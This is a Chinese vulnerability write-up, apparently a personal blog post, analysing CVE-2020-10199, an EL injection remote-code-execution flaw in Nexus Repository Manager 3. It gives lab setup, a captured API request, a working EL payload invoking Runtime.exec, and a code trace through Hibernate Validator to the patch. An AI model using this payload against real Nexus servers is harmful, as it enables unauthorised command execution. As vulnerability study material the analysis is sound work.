0x00 前言
最近一直忙东忙西,物理实验啥的,实在是烦人,然后写爬虫的时候又因为网络原因浪费好多时间,效率太低了。所以今天就先赶紧来学习一波。
本篇包含以下元素:
- CVE-2020-10199的分析与利用
0x01 环境搭建
下载源码
漏洞影响说是影响 3.x - 3.21.1的版本,但是我用之前3.14.0的nexus-public并没有搜到相关漏洞处,也可能是我的IDEA索引问题。所以这里我们先从Github上git clone下来最新版,然后使用checkout来切换到3.21.0版本的源码。
git clone https://github.com/sonatype/nexus-public.git
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
启动容器
docker run -d -p 8081:8081 -p 8000:8000 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=${NEXUS_DATA}/javaprefs -Dstorage.diskCache.diskFreeSpaceLimit=1024 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000" sonatype/nexus3:3.21.1
这里的admin登录密码需要用以下命令获取:
docker exec nexus cat /nexus-data/admin.password
远程调试
打开IDEA,照着上一篇文章进行配置即可:点击我: Nexus Repository Manager3 RCE
0x02 漏洞初识
漏洞API
在admin界面下的System中的API选项,我们可以看到Nexus的API:
而我们今天的主角是创建Go仓库的API:/beta/repositories/go/group
(但值得注意的是,这并不是请求的URL,后面我们会看到)。在这个界面我们还可以看到每个API的用法,这个漏洞API的请求用例如下:
我们可以点击“Try it out”,然后点击蓝色的“Execute”来执行,这时候我们可以开启Burp抓个包看看真正的请求URL:
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.0.105:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
Content-Type: application/json
NX-ANTI-CSRF-TOKEN: 0.13387306232374796
Origin: http://192.168.0.105:8081
Content-Length: 186
Connection: close
Cookie: NX-ANTI-CSRF-TOKEN=0.13387306232374796; NXSESSIONID=ca0081e8-e9f8-4651-bbba-ecaabf50ca3f
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": "maven-public"
}
}
这时候我们放包,却会发现响应为“400”,而且还有诡异的报错,响应包如下:
[
{
"id": "group",
"message": "Cannot deserialize instance of `java.util.ArrayList` out of VALUE_STRING token"
},
{
"id": "memberNames",
"message": "Cannot deserialize instance of `java.util.ArrayList` out of VALUE_STRING token"
}
]
难道是我们的环境有问题吗?😋并不是,这里其实是官方写错了(官方也能错吗),我们可以点击Model看看说明:
可以看到是用了”[ ]”的,虽然你会说只有一个时,或许不带也可以,然而后面通过代码的讲解我们会发现是一定要的。现在我们尝试着加上这个,看看会不会成功:
虽然还是400,但是之前诡异的报错变为了稍微正常点的“Does not match”。
漏洞简介
漏洞正是出现在上文的memberNames处,当未匹配成功时,代码最后会进行一个EL表达式的执行,在此处我们便可以借助EL表达式来实现任意命令执行。但是注意,要触发此漏洞,需要一个至少为低权限的账户并登录(管理员账户也可以),登录后获取Cookie中的NX-ANTI-CSRF-TOKEN
和NXSESSIONID
,这在后面的代码也有体现。
漏洞POC
可以借助EL表达式:${6*6}
来测试是否存在漏洞,如果要RCE,则可以换成${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/chenlvtang')}
。(不清楚为什么用\"\".getClass().forName('java.lang.Runtime').getRuntime().exec(\"touch /tmp/chenlvtang\")
不行)
0x03 漏洞分析
定位
我们可以使用IDEA的全局搜索(CTRL + N)来搜索相关的URL,来找到对应的处理文件,这里我们在搜索/go/group
的时候找到了我们对应的处理代码:org/sonatype/nexus/repository/golang/rest/GolangGroupRepositoriesApiResource.java
GolangGroupRepositoriesApiResource
根据注解@POST我们可以确定以下代码便是处理POST请求的代码,并且可以看到这个请求需要@RequiresAuthentication,即认证,所以漏洞触发最少需要一个低权限账户:
@POST
@RequiresAuthentication
@Validate
@Override
public Response createRepository(final GolangGroupRepositoryApiRequest request) {
return super.createRepository(request);
}
看到调用了父类的createRepository方法,传参为我们的请求,不过转换为了特殊的类,内容没什么变化。下面我们继续跟进。
AbstractGroupRepositoriesApiResource#createRepository
@POST
@RequiresAuthentication
@Validate
public Response createRepository(final T request) {
validateGroupMembers(request);
return super.createRepository(request);
}
调用了validateGroupMembers,看名字就知道就是对漏洞点处的验证,所以我们跟进这个函数。
AbstractGroupRepositoriesApiResource#validateGroupMembers
private void validateGroupMembers(T request) {
String groupFormat = request.getFormat();
Set<ConstraintViolation<?>> violations = Sets.newHashSet();
Collection<String> memberNames = request.getGroup().getMemberNames();
for (String repositoryName : memberNames) {
Repository repository = repositoryManager.get(repositoryName);
if (nonNull(repository)) {
String memberFormat = repository.getFormat().getValue();
if (!memberFormat.equals(groupFormat)) {
violations.add(constraintViolationFactory.createViolation("memberNames",
"Member repository format does not match group repository format: " + repositoryName));
}
}
else {
violations.add(constraintViolationFactory.createViolation("memberNames",
"Member repository does not exist: " + repositoryName));
}
}
maybePropagate(violations, log);
}
}
这里先是获取到我们请求处填写的memberNames放入到一个集合之中: Collection<String> memberNames = request.getGroup().getMemberNames();
,然后会用for循环遍历这个集合,先尝试获取该名称的库: Repository repository = repositoryManager.get(repositoryName);
,然后用if语句来判断是否存在,这里我们显然是不会存在的,因为库名是我们的Payload,不可能有这么奇怪的库名,所以就会进入else分支,可以看到,这里将我们的Payload和一段字符串进行了拼接,我们继续跟进。
ConstraintViolationFactory#createViolation
public ConstraintViolation<?> createViolation(final String path, final String message) {
checkNotNull(path);
checkNotNull(message);
return validatorProvider.get().validate(new HelperBean(path, message)).iterator().next();
}
检查是否为空后,会再调用一个validate,传参为一个HelperBean类,其构造函数如下:
public HelperBean(final String path, final String message) {
this.path = path;
this.message = message;
}
没啥大作用,继续跟进validate。
ConstraintViolationFactory#isValid
经过一系列的调用,中途会重新回到ConstraintViolationFactory中的isValid函数,其代码如下:
private static class HelperValidator
extends ConstraintValidatorSupport<HelperAnnotation, HelperBean>
{
@Override
public boolean isValid(final HelperBean bean, final ConstraintValidatorContext context) {
context.disableDefaultConstraintViolation();
// build a custom property path
ConstraintViolationBuilder builder = context.buildConstraintViolationWithTemplate(bean.getMessage());
//省略
return false;
}
}
这里调用buildConstraintViolationWithTemplate为我们构造出了一个渲染的模板:
ConstraintTree#validateConstraints
中间省略一万个字(一系列没啥用的调用,要是你感兴趣可以自己去调试🤗,反正我感觉大佬不是这样找到漏洞的,猜错了就当我没说🤣,因为我不是大佬,我要是会漏洞挖掘,还用在这里漏洞分析吗😭),位置:org/hibernate/validator/internal/engine/constraintvalidation/ConstraintTree.java:
public final boolean validateConstraints(ValidationContext<?> validationContext, ValueContext<?, ?> valueContext) {
List<ConstraintValidatorContextImpl> violatedConstraintValidatorContexts = new ArrayList<>( 5 );
validateConstraints( validationContext, valueContext, violatedConstraintValidatorContexts );
if ( !violatedConstraintValidatorContexts.isEmpty() ) {
for ( ConstraintValidatorContextImpl constraintValidatorContext : violatedConstraintValidatorContexts ) {
for ( ConstraintViolationCreationContext constraintViolationCreationContext : constraintValidatorContext.getConstraintViolationCreationContexts() ) {
validationContext.addConstraintFailure(
valueContext, constraintViolationCreationContext, constraintValidatorContext.getConstraintDescriptor()
);
}
}
return false;
}
return true;
}
这里最后会进入到 validationContext.addConstraintFailure
AbstractValidationContext#addConstraintFailure
位于org/hibernate/validator/internal/engine/validationcontext/AbstractValidationContext.java,其代码如下:
public void addConstraintFailure(
ValueContext<?, ?> valueContext,
ConstraintViolationCreationContext constraintViolationCreationContext,
ConstraintDescriptor<?> descriptor
) {
String messageTemplate = constraintViolationCreationContext.getMessage();
String interpolatedMessage = interpolate(
messageTemplate,
valueContext.getCurrentValidatedValue(),
descriptor,
constraintViolationCreationContext.getPath(),
constraintViolationCreationContext.getMessageParameters(),
constraintViolationCreationContext.getExpressionVariables()
);
//省略
}
调用interpolate,经过一系列的调用,最终到了ElTermResolver中的interpolate
interpolate:79, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
ElTermResolver#interpolate
在这里,我们的EL表达式就会完成最后的渲染并返回结果:
0x04 漏洞修复
Diff结果
与3.21.2-03版本对比可知,在ConstraintViolationFactory#isValid中增加了过滤:
调用了EscapeHelper函数中的stripJavaEL函数,会对我们EL表达式中的${ }
进行替换:
public String stripJavaEl(final String value) {
if (value != null) {
return value.replaceAll("\\$+\\{", "{").replaceAll("\\$+\\\\A\\{", "{");
}
return null;
}
值得注意的是,这个过滤函数本身也出现过被绕过的漏洞历史,这里的代码是被修复后的代码,这个我们将在之后的文章进行讨论
0x05 漏洞扩散
参考Longofo师傅的思路,我们可以通过搜索buildConstraintViolationWithTemplate
来找到一些可能存在漏洞的地方,大概是因为这个函数帮助我们构造了一个渲染的模板吧。
以后再写🕊
0x06 参考
Nexus3 EL表达式注入浅析(CVE-2020-10199) - 先知社区 (aliyun.com)
CVE-2020-10204/CVE-2020-10199 Nexus Repository Manager3 分析&以及三个类的回显构造 · Hu3sky’s blog